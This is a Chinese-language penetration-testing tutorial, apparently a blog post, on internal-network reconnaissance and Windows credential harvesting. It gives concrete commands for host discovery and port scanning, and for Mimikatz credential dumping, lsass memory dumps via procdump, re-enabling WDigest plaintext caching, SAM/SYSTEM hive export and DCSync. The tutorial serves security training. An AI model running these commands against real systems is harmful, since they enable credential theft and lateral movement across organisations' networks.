做網(wǎng)站排名推廣效果怎么樣新品怎么推廣效果最好
內(nèi)網(wǎng)資源探測
在內(nèi)網(wǎng)滲透中,測試人員往往需要通過各種內(nèi)網(wǎng)掃描技術(shù)來探測內(nèi)網(wǎng)資源的情況,為后續(xù)的橫向滲透做準備,通常需要發(fā)現(xiàn)內(nèi)網(wǎng)存活的主機,并探測主機的操作系統(tǒng)、主機開放了哪些端口、端口上運行了哪些服務(wù)、服務(wù)的當前版本是否存在已知漏洞等信息。這些信息可以幫助測試人員發(fā)現(xiàn)內(nèi)網(wǎng)的薄弱資源,確定后續(xù)的攻擊方向。
發(fā)現(xiàn)內(nèi)網(wǎng)存活主機
基于ICMP發(fā)現(xiàn)存活主機
可以使用ICMP循環(huán)對整個網(wǎng)段中的每個IP地址執(zhí)行ping命令,所以能夠ping通的ip地址即為內(nèi)網(wǎng)中存活的主機。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I |findstr "TTL="
說明該局域網(wǎng)C段存活三臺主機。
基于NetBIOS(網(wǎng)絡(luò)基本輸入/輸出系統(tǒng))協(xié)議發(fā)現(xiàn)存活主機
NetBIOS提供OSI/RM的會話層(在TCP/IP模型中包含在應(yīng)用層中)服務(wù),讓不同計算機上運行的不同程序可以在局域網(wǎng)中互相連接和共享數(shù)據(jù)。嚴格來說,NetBIOS不是一種協(xié)議,而是一種應(yīng)用程序接口(Application Program Interface,API)。幾乎所有局域網(wǎng)都是在NetBIOS協(xié)議的基礎(chǔ)上工作的,操作系統(tǒng)可以利用WTNS服務(wù)、廣播、Lmhost文件等模式將NetBIOS名解析為相應(yīng)的IP地址。NetBIOS的工作流程就是正常的機器名解析、查詢、應(yīng)答的過程。在Windows中,默認安裝TCP/IP后會自動安裝NetBIOS。
在實際利用時,向局域網(wǎng)的每個IP地址發(fā)送NetBIOS狀態(tài)查詢,可以獲得主機名、MAC地址等信息。NBTScan是一款用于掃描Windows網(wǎng)絡(luò)上NetBIOS名稱的程序,用于發(fā)現(xiàn)內(nèi)網(wǎng)中存活的Windows主機。NBTScan可以對給定IP范圍內(nèi)的每個IP地址發(fā)送NetBIOS狀態(tài)查詢,并且以易讀的表格列出接收到的信息,對于每個響應(yīng)的主機,會列出它的P地址、NetBIOS計算機名、登錄用戶名和MAC地址。
下載鏈接:nbtscan下載
將nbscan.exe上傳到目標主機,執(zhí)行以下命令:
nbscan.exe 192.168.52.1/24
基于UDP發(fā)現(xiàn)存活主機
在實際利用中,可以將一個空的UDP報文發(fā)送到目標主機的特定端口,如果目標主機的端口是關(guān)閉的,UDP探測就馬上得到一個ICMP端口無法到達的回應(yīng)報文,這意味著該主機正在運行。如果到達一個開放的端口,大部分服務(wù)僅僅忽略這個空報文而不做任何回應(yīng)。
Unicornscan是Kali Linux平臺的一款信息收集工具,提供了網(wǎng)絡(luò)掃描功能。執(zhí)行以下命令,通過UDP協(xié)議掃描內(nèi)網(wǎng)的存活主機。
unicornscan -mU 192.168.52.0/24
基于ARP發(fā)現(xiàn)存活主機
ARP(Address Resolution Protocol,地址解析協(xié)議)是一個通過解析網(wǎng)絡(luò)層地址來找尋數(shù)據(jù)鏈路層地址的網(wǎng)絡(luò)傳輸協(xié)議,用于網(wǎng)絡(luò)層通信。主機發(fā)送信息時,將包含目標IP地址的ARP請求廣播到局域網(wǎng)上的所有主機,并接收返回消息,以此確定目標的物理地址,收到返回消息后,將該P地址和物理地址存入本機ARP緩存,并保留一定時間,下次請求時直接查詢ARP緩存,以節(jié)約資源。
在實際利用中,可以向網(wǎng)絡(luò)發(fā)送一個ARP請求,若目標主機處于活躍狀態(tài),則其一定會回應(yīng)一個ARP響應(yīng),否則不會做出任何回應(yīng)。
1、ARP-Scan的使用
ARP-Scan是一款快速、便捷的內(nèi)網(wǎng)掃描工具,利用ARP發(fā)現(xiàn)內(nèi)網(wǎng)中存活的主機。將工具上傳到目標主機。
項目:https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan
執(zhí)行以下命令,即可掃描內(nèi)網(wǎng)中存活的主機。
arp-scan.exe -t 192.168.52.0/24
2、PowerShell的利用
腳本地址:git/Invoke-ARPScan.ps1 at master · sinmygit/git · GitHub
Empire滲透框架的Invoke-ARPScan.psl腳本可利用ARP發(fā)現(xiàn)內(nèi)網(wǎng)存活主機。使用時,需要將腳本導(dǎo)入執(zhí)行:
Import-Module .\Invoke-ARPScan.ps1
Invoke-ARPScan -CIDR 192.168.52.0/24
發(fā)現(xiàn)無法執(zhí)行腳本,以管理員的身份打開powershell。執(zhí)行以下命令:
set-ExecutionPolicy RemoteSigned
更改策略之后就不會報錯了。
基于SMB(Server Message Block,服務(wù)器消息塊)協(xié)議發(fā)現(xiàn)存活主機
SMB又稱為網(wǎng)絡(luò)文件共享系統(tǒng)(Common Internet File System,CIFS)協(xié)議,是一種應(yīng)用層傳輸協(xié)議,主要功能是使網(wǎng)絡(luò)上的機器能夠共享計算機文件、打印機、串行端口和通信等資源。CIFS消息一般使用NetBIOS或TCP發(fā)送,分別使用139或445端口,目前傾向于使用445端口。
在實際利用中,可以探測局域網(wǎng)中存在的SMB服務(wù),從而發(fā)現(xiàn)更多的存活主機。多用于windows主機的發(fā)現(xiàn)。
CrackMapExec(簡稱CME)是一款十分強大的后滲透利用工具,在Kali Linux上可以直接使用apt-get命令進行安裝。CrackMapExec能夠枚舉登錄用戶、枚舉SMB服務(wù)列表、執(zhí)行WNRM攻擊等功能,可以幫助測試人員自動化評估大型域網(wǎng)絡(luò)的安全性。執(zhí)行以下命令:
crackmapexec smb 193.168.52.0/24
探測局域網(wǎng)中存在的SMB服務(wù),從而發(fā)現(xiàn)內(nèi)網(wǎng)中的存活主機。
內(nèi)網(wǎng)端口掃描
1、使用telnet探測端口
Telnet是進行遠程登錄的標準協(xié)議和主要方式,為用戶提供了在本地計算機上完成遠程主機工作的能力。telnet命令可以簡單測試指定的端口號是正常打開還是關(guān)閉狀態(tài)。
telnet <IP> <Port>
像這種就是說明對應(yīng)的端口是開放的。
2、使用nmap進行端口掃描
掃描指定端口:
nmap -p <Port> <ip>
eg:nmap -p 80,88,135,139,443,8080,3306,3389 192.168.52.138
掃描目標主機全部開發(fā)端口:
nmap -p 1-65535 -sS 192.168.52.138
利用MetaSploit探測內(nèi)網(wǎng)
獲取端口Banner信息
Banner中可能包含一些敏感信息。通過查看端口的Banner,測試人員往往可以獲取軟件開發(fā)商、軟件名稱、服務(wù)類型、版本號等信息,根據(jù)不同的服務(wù),可以制訂不同的攻擊方案,而服務(wù)的版本號有時會存在公開的漏洞可以被利用。
1、利用Netcat(nc)獲取端口Banner
通過指定netcat的“nv”選項,可以在連接指定的端口時獲取該端口的Banner信息。
nc -nv <ip> <port>
我這里的是沒有這個提示,但是有些端口可能會有。
2、利用Telnet獲取端口Banner
如果端口開放,使用telnet連接后,也會返回相應(yīng)的Banner信息。
telnet <IP> <Port>
3、利用nmap獲取端口Banner
在nmap中指定腳本“–script=banner”,可以在端口掃描過程中獲取端口的Banner信息。
nmap --script=banner -p <ports> <IP>
用戶憑據(jù)收集
當測試人員獲取某臺機器后,會以被攻陷的主機為跳板進行橫向滲透,進一步擴大所掌控的資源范圍。但是橫向滲透中的很多攻擊都需要先獲取到域內(nèi)用戶的密碼或者哈希值才能進行,如:哈希傳遞攻擊、票據(jù)傳遞攻擊等。所以在進行信息收集時,要盡可能收集域內(nèi)用戶的登錄憑據(jù)等信息。
獲取域內(nèi)單機密碼和哈希值
SAM文件是什么?lsass.exe系統(tǒng)進程的作用?
在Windows中,**SAM文件是Windows用戶的賬戶數(shù)據(jù)庫,位于系統(tǒng)的%SystemRoot%\System3\Config目錄中,所有本地用戶的用戶名、密碼哈希值等信息都存儲在這個文件中。**用戶輸入密碼登錄時,用戶輸入的明文密碼被轉(zhuǎn)換為哈希值,然后與SAM文件中的哈希值對比,若相同,則認證成功。**lsass.exe是Windows的一個系統(tǒng)進程,用于實現(xiàn)系統(tǒng)的安全機制,主要用于本地安全和登錄策略。**在通常情況下,用戶輸入密碼登錄后,登錄的域名、用戶名和登錄憑據(jù)等信息會存儲在lsass.exe的進程空間中,用戶的明文密碼經(jīng)過WDigest和Tspkg模塊調(diào)用后,會對其使用可逆的算法進行加密并存儲在內(nèi)存中。
用于獲取主機的用戶密碼和哈希值的工具大多都是通過多去SAM文件或者訪問lsass.exe進程的內(nèi)存數(shù)據(jù)等操作實現(xiàn)的。這些操作大多都需要管理員權(quán)限,意味著需要配合一些提權(quán)操作。
Mimikatz工具的使用
Mimikatz是一款功能強大的憑據(jù)轉(zhuǎn)儲開源程序,可以幫助測試人員提升進程權(quán)限、注入進程、讀取進程內(nèi)存等,廣泛用于內(nèi)網(wǎng)滲透測試領(lǐng)域
項目地址:https://github.com/gentilkiwi/mimikatz/
Mimikatz使用教程
privilege(提權(quán)相關(guān)模塊)
attention:privilege::debug進入mimikatz命令交互界面的首要操作,也是最基本的操作。
privilege::security //調(diào)整為安全權(quán)限
privilege::restore //恢復(fù)原來權(quán)限
privilege::sysenv //調(diào)整為系統(tǒng)環(huán)境權(quán)限
privilege::driver //調(diào)整為裝載驅(qū)動權(quán)限
sekurlsa(與用戶憑證相關(guān)的模塊,可以從lsass進程中提取passwords、keys、tickets等信息)
sekurlsa::msv //讀取用戶對應(yīng)密碼的各種加密協(xié)議的密文(NTML、SHA1等),低版本windows可以讀取為明文
sekurlsa::wdigest //wdigest憑證,運用程序漏洞可逆的手法去讀取密碼明文
sekurlsa::tspkg //tspkg憑證sekurlsa::logonpasswords //常用并重點使用!!!直接集成上面多條指令功能,讀取用戶各種憑證和信息。sekurlsa::tickets //列出kerberos中的票據(jù)
sekurlsa::tickets /export //導(dǎo)出票據(jù)#下面兩條命令結(jié)合使用,可以將轉(zhuǎn)儲的lsass進程為lsass.dmp文件,離線讀取內(nèi)存信息
sekurlsa::minidump <filename>或lsass.dump //加載對應(yīng)文件(lsass.dump)
sekurlsa::logonPasswords full //讀取文件信息
kerberos 協(xié)議相關(guān)模塊(常用于 黃金/白銀票據(jù))
kerberos::list //列出系統(tǒng)中的所有票據(jù)
kerberos::purge //清除系統(tǒng)中的票據(jù)
kerberos::ptt //pass-the-ticket,票據(jù)傳遞攻擊(內(nèi)網(wǎng)橫移操作)
kerberos::golden //偽造黃金和白銀票據(jù)使用,具體構(gòu)造方法不相同kerberos::ptc //票據(jù)路徑
kerberos::ptc <票據(jù)名> //導(dǎo)入票據(jù)
process(進程模塊)
process::list //列出進程列表
process::exports //導(dǎo)出進程列表
process::start //開始一個進程
process::stop //停止一個進程
service(服務(wù)管理模塊)
service::start //開始服務(wù)。
service::remove //移除服務(wù)。
service::stop //停止服務(wù)。
service::suspend //暫停服務(wù)。
service::resume //恢復(fù)服務(wù)。
service::preshutdown //關(guān)閉服務(wù)。
service::shutdown //關(guān)閉服務(wù)。
service::list //列出服務(wù)。
lsadump(對域控操作模塊)
Lsadump::secrets //從registry獲取保存的密碼憑據(jù),可以直接獲取明文密碼。
lsadump::lsa /patch //讀取所有用戶的哈希
lsadump::sam //sam表獲取Hash
lsadump::dcsync //通過dcsync利用目錄復(fù)制服務(wù)(DRS)從NTDS.DIT文件中拿到密碼哈希值(在域控權(quán)限下獲取)
lsadump::dcsync /domain:xxxx.com /user:xxxx //查看域內(nèi)指定用戶信息,包括NTLM哈希等
lsadump::dcsync /domain:xxxx.com /all /csv //查看所有域用戶
1、在線讀取lsass進程內(nèi)存
上傳mimikatz.exe到目標主機之后。
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit
2、離線讀取lsass內(nèi)存文件
mimikatz無法上傳到目標主機,可以使用Procdump工具進行進程離線存儲成dmp文件。
項目地址:https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
首先在目標主機上傳Prodump程序(微軟的不會殺掉),執(zhí)行以下命令:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后在攻擊機上執(zhí)行一下命令:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
注意:微軟在2014年5月發(fā)布了KB2871997補丁,關(guān)閉了WDigest功能,禁止從內(nèi)存中獲取明文密碼,且Windows Server20l2及以上版本默認關(guān)閉WDigest功能。但是測試人員通過修改注冊表,可以重新開啟WDigest功能。當用戶注銷或者重新登錄后,就可以重新獲取到用戶的明文密碼。
開啟WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
關(guān)閉WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
在線讀取本地SAM文件
將mimikatz.exe上傳到目標主機后執(zhí)行以下命令:
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
token::elevate------------用于提升至SYSTEM權(quán)限
讀取SAM文件中保存的用戶登錄憑據(jù),可以導(dǎo)出當前系統(tǒng)重所有本地用戶的哈希值。
離線讀取本地的SAM文件
離線讀取就是將SAM文件導(dǎo)出,使用Mimikatz加載并讀取其中的用戶登錄憑據(jù)等信息。注意,為了提高SAM文件的安全性以防止離線破解,Windows會對SAM文件使用密鑰進行加密,這個密鑰存儲在SYSTEM文件中,與SAM文件位于相同目錄下。
在目標主機上導(dǎo)出SAM和SYSTEM兩個文件。因為系統(tǒng)在運行時,這兩個文件是被鎖定的,所以需要借助一些工具來實現(xiàn),而PowerSploit項目中提供的Invoke-NinjaCopy.ps1腳本可以完成這項工作。
腳本地址:PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1 at master · PowerShellMafia/PowerSploit · GitHub
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination C:\Temp\SAM
也可以在管理員權(quán)限下執(zhí)行命令:通過保存注冊表的方式導(dǎo)出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
然后將導(dǎo)出的SAM和SYSTEM文件復(fù)制到本地,使用Mimikatz加載并讀取SAM中的用戶憑據(jù)信息
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit